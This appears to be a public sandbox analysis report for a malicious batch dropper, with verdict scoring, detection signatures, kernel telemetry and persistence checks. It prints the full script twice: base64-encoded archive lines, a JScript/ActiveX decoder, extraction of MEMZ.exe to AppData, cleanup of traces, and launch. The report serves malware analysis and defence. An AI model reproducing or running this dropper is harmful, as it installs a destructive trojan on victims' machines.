Malwagon
Poème.exe.bat File Analysis · first seen Nov 5, 2026 18:30 · 12.1 KB
1files 2IOCs
Malicious100 Completed Public
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Poème.exe.batSCRIPT analysis report - Malicious

Run integrity

sample ran

The guest staged the sample and launched it, so what follows describes this file rather than an empty desktop.

46.3sto launch
24telemetry events
2observed
42agent notes

Malicious

100/100

30 points past the malicious line at 70.

Clean0-34 Suspicious35-69 Malicious70-100

Why this verdict

+52
Runtime behavior
  • Terminated the analysis agent (anti-analysis / defense evasion)
  • 2 kernel-level anomaly(ies)
+45
Model review
  • source review: malicious (MEMZ) - dropper, embedded_payload, base64_decode, archive_extraction
+20
Static analysis
  • 2 living-off-the-land binary abuse(s)

Model reading

Measured MALICIOUS100 of 100

Evidence ledger above, row by row. Published verdict rests on this column and on nothing to its right.

Model reads it asscored, capped MALICIOUSone pass

Reads the script's source text. Its opinion can raise the score and can never reach malicious on its own.

One pass, read as malicious. This review predates the three-pass consensus.

Per pass 1 malicious

This batch file is a dropper that reconstructs a base64-encoded zip archive at runtime, extracts it to %appdata%, and launches MEMZ.exe. The MEMZ binary is a publicly known destructive trojan, and the script deletes its staging artifacts afterward. The payload was not analyzed directly, so the assessment rests on the dropper behavior and the identity of the embedded executable.

  • Shell.Application CopyHere extracts the archive into the user's AppData folder (namespace 26).
  • The extracted file %appdata%\MEMZ.exe is launched with start, executing the embedded payload.
  • The embedded archive contains MEMZ.exe, a known destructive trojan family that overwrites boot and system data.
  • Cleanup commands delete x.js, z.zip, x and any prior MEMZ.exe to remove traces of the staging files.
dropperembedded_payloadbase64_decodearchive_extractionpayload_executiondestructive_payloadanti_forensics_cleanup
Other high-severity findings
  • HIGH LOLBin abuse: powershell downloads/executes via PowerShell
  • HIGH Terminated the analysis agent (anti-analysis / defense evasion)

Analysis layers

Static ran moved the score
Dynamic ran moved the score
Threat intel local feeds only no points
AI not included

Sample

TypeFile
MIMEtext/x-msdos-batch

Run conditions

Sandbox OSWindows 10
EnvironmentWorkgroup
InternetIsolated
Execution130s
Guest hardware2 vCPU4095 MB RAM
Fake artifacts8 files 6 apps 5 URLs

Detection signatures

4 detected
Severity Detection Evidence Layer
HIGH
LOLBin abuse: cscript runs a Windows Script Host script
MITRE T1059.005
command cscript recovered from the sample
static
HIGH
LOLBin abuse: powershell downloads/executes via PowerShell
MITRE T1059.001
command powershell recovered from the sample
static
HIGH
Terminated the analysis agent (anti-analysis / defense evasion)
MITRE T1562.001
runtime its process was gone from the memory capture of a guest that was still running analysis agent
dynamic
MED
Evasion: agent termination
MITRE T1497
runtime agent termination evasion signal
dynamic

What the tests returned

8 tests

Each test this run performed and what it returned. A test that was not performed says so rather than reading as a negative result.

TestResult
Persistence mechanismsnot tested - the autostart surfaces were snapshotted before the sample ran, but this run left no record of the comparison afterwards, so an empty result cannot be read as a clean one
Cross-process injectionnone observed
Payloads written to disknone observed
Network connectionsnot tested - this run had no route out, so an empty network section is a property of the run and not an observation about the sample
Behavioural rule matches (Sigma)none observed
Known-malicious hash (reputation sources)no source reported this file
Local anti-virus enginereported no detection
Capability analysis of the file's codenot checked

Absence of an observation is not proof of absence - see Coverage for what this run could and could not test.

Arguing against malice

  • The local anti-virus engine reported no detection.
  • No reputation source reported this file as malicious.

How much weight this carries

Observed. Observed at runtime and attributed to this sample by one layer. The one fact that decided it: the sample ran for 129s and no malicious behaviour was observed.

Instrument coverage

4 of 5 measured

What this run was able to observe, as the run itself recorded it. A layer that did not run makes an empty result a fact about the sandbox rather than about the sample.

LayerRanWhat that means
Runtime anti-analysis watch measured Measured. The in-process hook group for debugger, timing and hypervisor checks armed on this run, so an empty signal list means something looked and saw nothing.
API call sequence measured Measured for the hooked anti-analysis calls. It is not a full API trace: the sequence carries interpreter spawns plus the hooked anti-analysis calls, and nothing else.
Explicit module loads measured Measured, with two limits. Only a module the sample asks for by hand is recorded, so one brought in by its own import table never appears, and the hooks arrive a few seconds after a process starts.
Network capture not on this plan Not included on this scan's plan.
Memory capture measured Measured, and forced: the sample stopped the in-guest agent, so the guest's memory was captured to reconstruct what ran after that; an empty result here is an observation.
Live kernel introspection not measured Not measured. This run did not ask for the memory-dump option, which is what starts the introspection loop.

This lists the layers this run recorded for itself. A layer that is not listed was not recorded either way, so its absence here is not a result.

Structure

What the file is made of: headers, imports, how it was built and whether it was signed.

Script contents

BATCH plain

best guess Read as batch on thin evidence: few markers decided it and the next language was close. Treat the language above as a guess, and the language-specific findings below with it.

The script is not obfuscated - what the file contains is what runs.

@echo off

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echo OgPXCv4fBNyqGbg+wKVRvK5TZayCt8/RGbiSlQjtBVxe6XWcDnBisNnhGXRbATdAoR8sf39HzMuZ>>x
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echo /iq7EdvgxSnN4QhpYexuZZHeaXR7LS5Irw+KYvNTFtVYPV7A/PI6pgl/ufa0sNbu2jRlwudjLc6E>>x
echo qInT3844QX/YuJu0DcqifC5dd2A9G4GLcTNoNSlsxSdEOygRw0HMomorHH9gP5gmQ58jbHGD1Qnp>>x
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echo igmqg3M2x0jU5rTA87fQaBtQOs2xsTDPrVy73glnUHQSVXuMvfUmvOn9Asvkh1ZXIQb0tDNGLwPP>>x
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echo 7dhxMfXRZQGOK6yjBrXptS1THkpBlVZfpR08/rRQ7/Mw4AiuVVtdHyO5KpixQlpdW/Ael4X4TZhr>>x
echo Tm+wXvQQSHFt8bunUe1Gux9cegR80+/2aUx3+K0epgrOtqAamPplHl/LOFsgkvEhW1PdrtFNiUYL>>x
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echo e5RO5Tblz5WPK/+oPKG8oHxf+Y1SqJKoklVpqoWqPFWhqlylVnWozCqXqk/1C9UfVEOq91QfqD5S>>x
echo fapKL6aKlxbnFdcXP1B8uPiZ4leK/7P442JRyeyS4pKVJZqS2pKOko0lvpKflgRLHil5suS5ksLS>>x
echo laVrSnWl7aUbSh8sfb70ROlw6eel35RKy5LL0soWlJWWtZZ1ldnKesvCZb8pe6rsdNnfyv6r7POy>>x
echo 7PLc8tvKDeU/LQ+VR8ofLH+4/PHyJ8vPlF8qj6sorFhV0VTRWtFdwVR4Ku6v+LRiouJaBbESLxL8>>x
echo Sf06ZbfSonQr+5QB5YByr3KfclCJ7wvbsM1pghbTUlpGp9JpdCZN0dn0MrA/TavAB6vAC9V0Hd1A>>x
echo 6+hWeh29ATxipi20nXbTPrqP3kYH6F30AH0vvZd+gN5HH6AH6cfpQ/Rh8NhR+hh9HLz2Kv06fYoe>>x
echo pt+mz9Ln6RH6R72P/htQSwECFAAUAAAACAA4Z2ZNslla774dAAAAMgAACAAAAAAAAAAAAAAA/4EA>>x
echo AAAATUVNWi5leGVQSwUGAAAAAAEAAQA2AAAA5B0AAAAA>>x

echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js
echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js
echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js
echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js
echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js

set v="%appdata%\MEMZ.exe"
del %v% >NUL 2>NUL
cscript x.js >NUL 2>NUL
del x.js >NUL 2>NUL
del z.zip >NUL 2>NUL
del x >NUL 2>NUL
start "" %v%
Signature
Unknown
No compiler or packer signature matched this file.
Not packed
Identity
File
typeDOS batch file, ASCII text, with CRLF line terminators
size12.1 KB
entropy6.0926

Antivirus engine

no signature matched signature set 28174 - 3.6M signatures

Nothing in the signature set below matched this file. That is one engine's negative answer against one signature set on one day, and it is not a verdict. A signature engine only recognises what has already been named and published, so a file nobody has named yet scans exactly like a file that is harmless. What this file does when it runs is the stronger evidence; read the behaviour sections for that.

Signature setValue
Set version28174
Signatures in the set3,642,948
Set published05 Nov 2026 06:26 +0000
Age when this file was scannedsame day

A negative answer is only as good as the signature set that gave it, so the set is recorded with the result and the result can be reproduced against it.

Local ML assessment

no model score

No model score exists for this file: the local model reads Windows executables only, so this file got a static heuristic instead. That is a gap in coverage and not a finding - the absence of a score here says nothing about the file.

Structural rules of thumb, not a model. No structural rule of thumb fired either: the entropy, the section layout, the import count and the signature all read as an ordinary build.

Packing
Not packed
This file's code is readable on disk - nothing is compressed or encrypted around it.
0/100
packer confidence
Static analysis reads this file directly Nothing is hiding the code from a static pass, so what the file contains is what the report shows.
Indicators weighed

Packer detection looks at a program's entry point, sections and entropy. This file is not a program image, so there was nothing of that kind to assess.

File content

152 lines · 12.1 KB · Batch

The sample verbatim, shown as inert text - nothing here is interpreted by this page. The colours come from a Batch lexer that only ever decides a colour.

@echo off

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echo 95n/mU+vxYhN43YzTmDQg12vMDN2xsco+EO1suiGPDYrfQqPcovvhrYx+kyWmK5TtrnRGI46n+m7>>x
echo kf2sTlgvTvAS0+e2uzyMR2GFQLEwCi64N3lcvV7GcxP26DGaGLiobAGbmLbAvQOM7LJzDvx+8Ch6>>x
echo XR6OpoguLLmZeYB/rXYz6GZnNlt93+Z6k/72MEZwDV6gChio8BidXpej1+i5mfiC8bHF6mAcdyr4>>x
echo /HGT6wAW3FRWwpY1u/C8exmrxwxWhmcwhq8H9/CxBKHott8JDbt7yubA2m039ueb7P5NQLHZb3WC>>x
echo EMd0n8nl9lkd1jsZj9vj4nqmx3ldPZAqrCYOazLaudB2unyMG+xmcphRr8fqYwDnYTYzZqsPTQUB>>x
echo pvMZvVscmz3I4TW5nD3WzRjn8LrhDupDZmarY7PDlw99CHrBInbkcJjwnZdaW9/QABfcxo7YvRau>>x
echo pDjT4gsqmJva7IrdSs1WhvvvbotW30rVN1G6er0+j6ppbtG2w325EVr5qJ4yaFqagBswhtSM6jR1>>x
echo GqqJpiuphiIdVatspVqUa1vhrg3Me4xWO2R6o4+/2hYqlaWURdVHwy0XJ+c7p/6VjHVsbakHpvpm>>x
echo uJa3VFOapmqqtrkVt2s0LXlUZRunEL6fa5uq8yjuJq+rAl30lL4Vphe7xC8EfaBugRlqm9Y0d1CV>>x
echo MFtUq22Fm34rf+lfRzVp17VSrfWNWqqvGujbtTAYeLd01DfVUq3NFJ4+zJkXUq1p1eAb9rYNBduU>>x
echo +AeSSKW+uRrUqWpuhBGgf3t9S5ue0rVomtZSy2qbm7SUoaW5qXY5nhuvBla8qUPTRFVpwDZYn8aG>>x
echo Wphlaz0/dlolzm7YKbD5Wc1Wlw9mAgb+3h9a3GjcwjQa7XjB1OKlpMHvIhDSNzdqK5urO6jmpiot>>x
echo zKYB/K69/mJDA/MCDZs0VEszWA0EQjFY+sH3Zi4gmK3cHm0Fv818T3Fr7EUI2NzqpXr8pi3Ysc5+>>x
echo 2GvzkZ4x+T1MJX4p4oUeL/brZk8Z5SijrBTUZQVlSM+l4Doj3uf459v8kM+seN/k29o+k93oMPIo>>x
echo VIB6kRH5kAlZkBm5EA522PdQQS9OvWYXbhc4uCmjDRvyN+gs/bBRGO3VHutWhgYcXlT5Pu67CafP>>x
echo bLfjuPbZNWab3+vTARGE5mZYaE2+FqPVy9QZPWatx+Pi1pme0Vv8PpzOrhNiI0y9V3sjVY1oP0Ir>>x
echo 5Xxtv0WNqCaY81w10p1A6LEYfkLO41ekqRH+J1o79KsPIHQE6Ls/QugBaO+rQAj/78sFiQTztsNc>>x
echo sa56mLsVnuyIQn7khWcn2IACrAWevfBkAkoHckMvZAnkQbd+5+3fUAwxFqvFar6WxerUWJ0dq/Nj>>x
echo tSpWd8RqK1+rd/C1+5ex9iNcPfUtTiLAZYB9KoDYB0BTfUnf0ay2qrUBv2XB37Nw37ZkO7i5T30H>>x
echo k2/FH6hkF3PaLkRoIAVwsW9bMH8sh29n33nnneZNOBbwtzn3oumxRdzYEv59WAyn5GZb8i0ZKm7G>>x
echo pQg1ENO4En5+CF3EY2PfylxU85/S5G/yerl+Hf+pC/eNTDZdiFHdgBsQTOM4HepKrs/7SBnIhzm+>>x
echo OgPXCv4fBNyqGbg+wKVRvK5TZayCt8/RGbiSlQjtBVxe6XWcDnBisNnhGXRbATdAoR8sf39HzMuZ>>x
echo ekesFdYykB9cJo3Z7GGwr6tFDS5ILBo7941THd+qwefggKgZVi0mxoRDAhhZ5fd4GKdvCjdPoO2z>>x
echo TreeQVXcoafVAhXkwX+bMYLH1QP2D4TezjButIQ04LNADeQf1IKq7C6cpZxmaGlIu9fnMTncGtB7>>x
echo 6tkAcwfdjOYG6yaP0dMPfSl4Lo0us9/OcWkyOhjA3s1JdTkcwKwB7hQGNBDTCxNp0HZCjy1gdYH0>>x
echo /iq7EdvgxSnN4QhpYexuZZHeaXR7LS5Irw+KYvNTFtVYPV7A/PI6pgl/ufa0sNbu2jRlwudjLc6E>>x
echo qInT3844QX/YuJu0DcqifC5dd2A9G4GLcTNoNSlsxSdEOygRw0HMomorHH9gP5gmQ58jbHGD1Qnp>>x
echo 26vtQ79C1UwP3+S8Citd2AJnVthxPNzktH2Ac8TmxxNi1F1YOr8xNTKwH5rACknCmJxKF1D8RQh2>>x
echo igmqg3M2x0jU5rTA87fQaBtQOs2xsTDPrVy73glnUHQSVXuMvfUmvOn9Asvkh1ZXIQb0tDNGLwPP>>x
echo B673tDAmH5LP0MSA7sGaQBx5XR6dC/SkYnE11V6M29WMd4vP5eaZIPQp0jr9jpie6L7r/FEmqjLa>>x
echo 7dhxMfXRZQGOK6yjBrXptS1THkpBlVZfpR08/rRQ7/Mw4AiuVVtdHyO5KpixQlpdW/Ael4X4TZhr>>x
echo Tm+wXvQQSHFt8bunUe1Gux9cegR80+/2aUx3+K0epgrOtqAamPplHl/LOFsgkvEhW1PdrtFNiUYL>>x
echo BHoIVbu2D04nPuATh2YEfatL49m81YBtNZMK+1Bfp22YCkIx0sFBX+/yO80g0VDf1NjI4VNQLEvA>>x
echo tOod4IcZ60unByXyqxsafjjh/i+Wt3PVSKqAMweAG+AIwBgAladG6wAGAIYBUleo0SoAN8A+gBGA>>x
echo MjgO9AEcA5gAaC2AfoB7AQYB8JdFRwCOAhwHeBVgGOAswEWAywATAIhWIwKgDKAVwAywDeAQwDiA>>x
echo uFCNsgEaANYBWAB2AewDOApwHmAcYBn+nAlgG8C9APsADgH8vdxsEaA0+AUIfBePP1mhfwA/C85E>>x
echo dej6uea7ZdWtfQ47tZXxeOHMvjqnMJ/OoRinyWWG++TqnLbWmhVlORT+t6XZaHc5mdU5/Yw359af>>x
echo JEpWQd5lHJvs/RQwcHpX5/g9zgqvycI4jN4VDqvJ48L35BVwR64weh35WwtzKFi41h64MLTPlAas>>x
echo KGqVD279vnpnjyvGbdENuCkXceNgpBdfXGCXi7UB42HuwNcSxnw9MU13zuzm8wUo0gAXJjtlx7+r>>x
echo c3A35CiN2WF1wg7jMfpcnhzKb9WYcKJYndNjtHuZHKrguryCHxe4quBb6q0qmJ4ntmDBlAmh8aMu>>x
echo x999gd+S6Twa1h+9nu6me2gH7aeP0P9KD9En6Q/pz2hB4azCOYUZhbmFhYXlhepCptBdGCx8ofDP>>x
echo hR8Wjhd+UygvKi2qLlpb1Fa0oWhLka9oV9G9Rb8qeqzoZNG5ov8o+qToapFcmaFcoaxQVivXKjco>>x
echo e5RO5Tblz5WPK/+oPKG8oHxf+Y1SqJKoklVpqoWqPFWhqlylVnWozCqXqk/1C9UfVEOq91QfqD5S>>x
echo fapKL6aKlxbnFdcXP1B8uPiZ4leK/7P442JRyeyS4pKVJZqS2pKOko0lvpKflgRLHil5suS5ksLS>>x
echo laVrSnWl7aUbSh8sfb70ROlw6eel35RKy5LL0soWlJWWtZZ1ldnKesvCZb8pe6rsdNnfyv6r7POy>>x
echo 7PLc8tvKDeU/LQ+VR8ofLH+4/PHyJ8vPlF8qj6sorFhV0VTRWtFdwVR4Ku6v+LRiouJaBbESLxL8>>x
echo Sf06ZbfSonQr+5QB5YByr3KfclCJ7wvbsM1pghbTUlpGp9JpdCZN0dn0MrA/TavAB6vAC9V0Hd1A>>x
echo 6+hWeh29ATxipi20nXbTPrqP3kYH6F30AH0vvZd+gN5HH6AH6cfpQ/Rh8NhR+hh9HLz2Kv06fYoe>>x
echo pt+mz9Ln6RH6R72P/htQSwECFAAUAAAACAA4Z2ZNslla774dAAAAMgAACAAAAAAAAAAAAAAA/4EA>>x
echo AAAATUVNWi5leGVQSwUGAAAAAAEAAQA2AAAA5B0AAAAA>>x

echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js
echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js
echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js
echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js
echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js

set v="%appdata%\MEMZ.exe"
del %v% >NUL 2>NUL
cscript x.js >NUL 2>NUL
del x.js >NUL 2>NUL
del z.zip >NUL 2>NUL
del x >NUL 2>NUL
start "" %v%

Build and packaging

6 checks, none matched
CheckResultDetail
PyInstaller bundle not found analyser ran over the bytes, no marker
Nuitka build not found analyser ran over the bytes, no marker
Electron application (asar) not found analyser ran over the bytes, no marker
HTML / SVG smuggling not found analyser ran over the bytes, no marker
Rust / Nim / Zig toolchain not found analyser ran over the bytes, no marker
LLM-enabled code not found analyser ran over the bytes, no marker

Capability detection

not run on this file

Capability detection reads the machine code of a compiled program and lists what that code is able to do. This submission is not a compiled program, so the check was not run on it and had nothing it could have found. Read this as a question that was not asked here, not as an answer about the file.

Extracted strings

showing 29
  • @echo off
  • echo 9xTDlHkMkTHsiDIc4uRGm0RveRsktk9JC/1fgf+jPdoDJ7UHVuElG/YfBn+PcG4fVAMm3Pl4uPMQ>>x
  • echo XgcuV78Mt02e005e6Jy4oJ04pxXzD+eLl6nU6DyJ8O9qHfdcBr/vvRz9ZxiLkwcnEDIdTk2s/Ag2>>x
  • echo h7G9hOtiOYpbdLJ2WJZHuSwKD69yHt+jHYMsJ3+cEzyp/JNCO24RIyW67bZ2XUQ7oYBueGTlaThT>>x
  • echo tO4E5HUUPSnivTLGe+UsThtyMTSiT0GPLRVL3EPM4WecrZ+e8ll9uHOMnzUkuj3a8zo9P+2oH8ZF>>x
  • echo GRH//RnI8AxeEuIZTAtPncr/BlsCe2a/4pXIhE36Jss/jr15jddMx21JnGpnuWTELRCLYAfiFuE4>>x
  • echo oZeQ+nDw2q/jvcWrAl7RJRnK3jHw8uEnrv0p8CXrv3rpfXbg1cPhE4fDn4bfC76G1FN9yH81fObS>>x
  • echo q+yRZz+sOiaSPY1Oy15C6Pmhg8+hY/e9fAyh54bjP3vyxQOPAPaiUSr60Pi0oOXoz54DGtR9Wr4+>>x
  • echo IScUkZsIjUIR9REit3g3io9HI6Oin4j/AZii3t7e+OHh4ZF4eBAJ00V94tBHUESvE6Ih8W4JcvfG>>x
  • echo ywzujU99qZCsny9PYtN+yYrlD6SOxQOzuStYaleDRLcgWK1Ol9GSQSq9e31weHhRGZmwkFh4JSNB>>x
  • echo pdw7P6CU/jqreCRFOqzLDs9PXD1/9rts3HF29gAr28UubX1j4dAb6c8vXXRkecasnNzhtMo1cSl3>>x
  • echo Q3MoqeuUeCMiur4ggBblbpTGdb0lDaI1XUP245a6bx+cLHAi2sQwTji0GL0WONBs6qd8FoY/BMEZ>>x
  • echo 41M4XE6m/4a2dDnvtCo2+c3m/uvSejwMc1O23OTvV/QyjBndrF4ml3na9AqrEx68fqNdscnotZpi>>x
  • echo zKYB/K69/mJDA/MCDZs0VEszWA0EQjFY+sH3Zi4gmK3cHm0Fv818T3Fr7EUI2NzqpXr8pi3Ysc5+>>x
  • echo tSpWd8RqK1+rd/C1+5ex9iNcPfUtTiLAZYB9KoDYB0BTfUnf0ay2qrUBv2XB37Nw37ZkO7i5T30H>>x
  • echo pQg1ENO4En5+CF3EY2PfylxU85/S5G/yerl+Hf+pC/eNTDZdiFHdgBsQTOM4HepKrs/7SBnIhzm+>>x
  • echo uFCNsgEaANYBWAB2AewDOApwHmAcYBn+nAlgG8C9APsADgH8vdxsEaA0+AUIfBePP1mhfwA/C85E>>x
  • echo JEpWQd5lHJvs/RQwcHpX5/g9zgqvycI4jN4VDqvJ48L35BVwR64weh35WwtzKFi41h64MLTPlAas>>x
  • echo 7PLc8tvKDeU/LQ+VR8ofLH+4/PHyJ8vPlF8qj6sorFhV0VTRWtFdwVR4Ku6v+LRiouJaBbESLxL8>>x
  • echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js
  • echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js
  • echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js
  • echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js
  • echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js
  • set v="%appdata%\MEMZ.exe"
  • cscript x.js >NUL 2>NUL
  • del x.js >NUL 2>NUL
  • del z.zip >NUL 2>NUL
  • del x >NUL 2>NUL

Stack and decoded strings were not recovered: this file format is not eligible for string emulation. Only literal strings present in the file are listed above.

Script deobfuscation

obfuscated
Script typebatch (high confidence)
Obfuscationscore 20 of 100
Variables resolved1
Commands recovered149 (142 of them console output)
How it hid itself (3)
TechniqueCountExample
Caret escaping inside a command 16 f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getF
ing.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream(
Arguments assembled from variables 2 del "%appdata%\MEMZ.exe" >NUL 2>NUL
start "" "%appdata%\MEMZ.exe"
Console echo suppressed 1 @echo off
Commands after unwrapping (149)
LineDoesCommand
147 destruction del "%appdata%\MEMZ.exe" >NUL 2>NUL
149 destruction del x.js >NUL 2>NUL
150 destruction del z.zip >NUL 2>NUL
151 destruction del x >NUL 2>NUL
148 launch cscript x.js >NUL 2>NUL
152 launch start "" "%appdata%\MEMZ.exe"
146 assignment set v="%appdata%\MEMZ.exe"

Showing 7 of 149, the rest being console output and lines the stored record already dropped.

Script behaviour

nothing named

The source was read against the 21 behaviours this platform names - file encryption, a ransom note, credential theft, persistence, a reverse shell and the rest - and none of them is in this file. That is a reading of the source, not a reading of what it would do if it ran.

Sample terminated the analysis agent (anti-analysis)
The in-guest agent was killed during the run - a defense-evasion technique (MITRE T1562.001). User-mode telemetry after that point is incomplete, but the analysis continued via the layers the sample cannot see or kill: the hypervisor-level packet capture and a forced memory dump reconstructed from outside the guest. A watchdog also relaunches the agent when possible.

Screen recording

97 frames · screen recording · 130s
Screen recording frame
1 / 97
0:00 · 1/97
Download this recording Download video (.mp4) Download GIF (.gif) Building the file runs an encode on this platform, so it is kept to signed-in accounts. Signing in brings you back to this report.

Behavior summary

ran 130s

no notable behavior observed

Launchedcmd.exe /c "C:\Users\user\Desktop\Poeme.exe.bat"
Privilegestandard
agent_terminated
Telemetry sources: agent poll: 1In-process monitor: 23

Kernel-level behavior (agentless VMI)

2 anomalies
HIGH
a sample thread has hardware breakpoints armed (DR0-DR3 under DR7), the register-level hook that patches nothing in memory
hw_breakpoint · MITRE T1562.001, T1622 · 1 finding
MEMZ.exe pid 4012
MED
a sample thread's call stack returns into unbacked memory, through addresses no call reached, or ends in a proxy or callback frame instead of a thread start
spoofed_stack · MITRE T1027.011, T1055 · 41 findings
audiodg.exe pid 5364svchost.exe pid 2332WmiPrvSE.exe pid 4104svchost.exe pid 2292svchost.exe pid 3672SearchApp.exe pid 2608

coverage incomplete 24 of 27 kernel passes answered on this run. The subjects below that did not answer were not examined at all, so nothing above rules them out - that includes code injection and hollowing, whose row counts come from the passes that did answer and not from the ones that did not.

What was examinedResult
linked process list examined
pool-scanned processes (finds unlinked) examined
process parent/child tree examined
thread list examined
loaded modules per process examined
unlinked / hollowed modules examined
injected executable memory not examined it ran past its time limit and was stopped
process hollowing (image does not match its file) not examined it ran past its time limit and was stopped
threads starting outside any loaded module not examined it ran past its time limit and was stopped
loaded kernel modules examined
pool-scanned kernel modules examined
driver objects examined
process/thread/registry notify routines examined
system service descriptor table examined
open handles (file/key/process/section) examined
services examined
named mutexes examined
network endpoints examined
process token SIDs examined
drivers unloaded since boot examined
threads created suspended examined
LSASS skeleton key patch check examined
patched ETW event-write routines examined
direct syscall stubs outside ntdll examined
indirect syscall stubs jumping into ntdll examined
threads with hardware breakpoints armed examined
return-address integrity of sample threads examined
Deep passes and cost 8 ran, 42 findings · 875.4s of plugin time
PassLooks forResultSeconds
StackWalk sample thread call stacks returning into unbacked memory 41 findings 9.8
DebugRegistersScoped DebugRegistersScoped 1 finding 3.8
DirectSyscallStubs direct syscall stubs outside ntdll ran, 0 rows, nothing attributed 68.5
EtwPatch ETW event-write routine patched in process memory ran, 0 rows, nothing attributed 40.6
IndirectSyscallStubs indirect syscall stubs jumping into ntdll ran, 0 rows, nothing attributed 61.7
Skeleton_Key_Check skeleton key patch in the domain controller's LSASS ran, 2 rows, nothing attributed 3.1
SuspendedThreads threads created suspended and never resumed ran, 0 rows, nothing attributed 41.0
UnloadedModules kernel drivers unloaded after the sample started ran, 6 rows, nothing attributed 2.2

Wall time by pass, slowest first: Malfind 160.2s, HollowProcesses 160.1s, SuspiciousThreads 160.0s, DirectSyscallStubs 68.5s, IndirectSyscallStubs 61.7s, LdrModules 56.6s, SuspendedThreads 41.0s, EtwPatch 40.6s and 10 more.

Observed from outside the guest at the hypervisor layer, outside the guest - direct syscalls and user-mode unhooking cannot evade it.

Evasion / anti-analysis checks

1 check
MED
Agent termination dynamic
MITRE T1497 · agent_termination

monitor intact 90 monitor trampolines on 2 pages were watched from the shipper thread and none was overwritten; the ETW and AMSI stubs kept their bytes. Measured, not assumed.

Statically visible checks (RDTSC/CPUID/red-pill instructions, anti-debug APIs) plus runtime evasion signals. Instruction-level interception at runtime requires hypervisor introspection (VMI).

Anti-analysis API trace

1 API · 1 process hooked

Calls counted inside the running sample by in-process hooks. Scored means the call crossed the threshold that separates a deliberate check from what ordinary software does; a call that scored nothing is still listed, with the reason.

APISignalCallsSleepScored
GetVolumeInformationW anti_vm 1 - no corroborates, never convicts on its own - ordinary software calls this
Call order 1 event sampled
GetVolumeInformationW

How to read the numbers: a repeated call is sampled at 1, 10, 100 and so on while the run is live and made exact when the process exits, so a count is a floor and not a total. The count kept for a name is the highest a single process reported, not a sum across the process tree. The hooks are placed a few seconds after a process starts, so a check made in the first moments of a launch is missed - and a sample that exits in those first seconds is never watched at all.

No module load worth listing. In-process hooks were placed in 1 process and recorded no explicit module load, so this is an observation rather than a gap. Modules brought in by the sample's own import table are never seen here.

Command lines, unwrapped

nothing captured

The run captured no command line and no script block, so there was no text to unwrap. A sample that does its work in-process, and one that never started, both land here - which of the two this is, the process tree and the verdict answer.

Network activity

The network section is a paid-plan layer: the DNS the sample resolved, the connections it opened, the TLS it negotiated, and the rule engine's reading of the capture.

This run was captured, and what it captured is on a paid plan rather than absent. An internet-connected detonation is the same plan, so a paid run also shows what the sample reached rather than only what it tried.

See plans Create an account

Process tree

What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.

No processes were captured

This run recorded no process activity. A hash lookup and a URL analysis never open a Windows VM, and a detonation that produced no telemetry says so on the report.

0Mechanisms found
90Methods checked
0ATT&CK techniques
NONEHighest severity

Persistence mechanisms

clean

No persistence established

None of the 90 auto-start methods below were established during this run.

Detection coverage

0 / 90

Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".

Logon & Startup 22 clean
  • Active Setup Installed Component T1547.014 clean
  • Explorer Delay-Load Object T1547.001 clean
  • Explorer Run Key T1547.001 clean
  • Explorer SharedTaskScheduler T1547.001 clean
  • Group Policy Extension DLL T1547.004 clean
  • Group Policy Run Key T1547.001 clean
  • Logon Script T1037.001 clean
  • RDP WDS Startup Program T1547.001 clean
  • Registry Run Key T1547.001 clean
  • Registry RunEx Key T1547.001 clean
  • Registry RunOnce Key T1547.001 clean
  • Registry RunOnceEx Key T1547.001 clean
  • Registry RunServices Key T1547.001 clean
  • Startup Folder Item T1547.001 clean
  • Startup Folder Redirection T1547.001 clean
  • Terminal Services Initial Program T1547.001 clean
  • Winlogon GINA DLL T1547.004 clean
  • Winlogon MPNotify Value T1547.004 clean
  • Winlogon Notify Package T1547.004 clean
  • Winlogon Shell Value T1547.004 clean
  • Winlogon Taskman Value T1547.004 clean
  • Winlogon Userinit Value T1547.004 clean
Services & Tasks 9 clean
  • BITS Job T1197 clean
  • Print Monitor DLL T1547.010 clean
  • Print Processor DLL T1547.012 clean
  • Scheduled Task T1053.005 clean
  • Scheduled Task Registry Implant T1053.005 clean
  • Service Control Manager Security Descriptor T1574.011 clean
  • Service DLL Hijack T1543.003 clean
  • Time Provider DLL T1547.003 clean
  • Windows Service Creation T1543.003 clean
Execution Hijack 17 clean
  • .NET Managed Debugger T1546.012 clean
  • Accessibility Tool Hijack T1546.008 clean
  • AeDebug Postmortem Debugger T1546.012 clean
  • App Paths Hijack T1546.012 clean
  • Application Shim Database T1546.011 clean
  • Boot Verification Program T1547.002 clean
  • Command Processor AutoRun T1546.011 clean
  • Explorer Load Value T1547.001 clean
  • Explorer MyComputer Tool Hijack T1546.001 clean
  • Registry Image File Execution Options T1546.012 clean
  • Screensaver Hijack T1546.002 clean
  • Setup ErrorHandler Script T1546 clean
  • Shell Open Command Hijack T1546.001 clean
